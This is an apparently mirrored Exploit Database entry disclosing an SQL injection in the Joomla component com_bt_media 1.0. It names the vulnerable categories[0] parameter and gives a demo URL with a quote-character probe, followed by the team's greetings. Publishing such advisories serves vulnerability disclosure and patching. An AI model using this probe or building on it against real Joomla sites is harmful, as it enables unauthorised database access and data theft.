Joomla! Component com_bt_media 1.0 – SQL Injection

• Exploit Database
• 125 阅读

• 作者： Persian Hack Team
  日期： 2016-06-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39977/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  ###################### # Exploit Title : Joomla com_bt_media - SQL Injection # Exploit Author : Persian Hack Team # Vendor Homepage : http://extensions.joomla.org/extension/bt-media-gallery # Category: [ Webapps ] # Tested on: [ Win ] # Version: 1.0 # Date: 2016/06/19 ###################### # # PoC: # categories[0]= Parameter Vulnerable To SQL # Demo : # http://server/index.php?option=com_bt_media&view=list&categories[0]=%277&Itemid=134   # Please Free Yaser Ebrahimi ###################### # Discovered by : Mojtaba MobhaM # Greetz : T3NZOG4N & FireKernel & Masood Ostad & Dr.Koorangi &Milad Hacking & JOK3R And All Persian Hack Team Members # Homepage : persian-team.ir ######################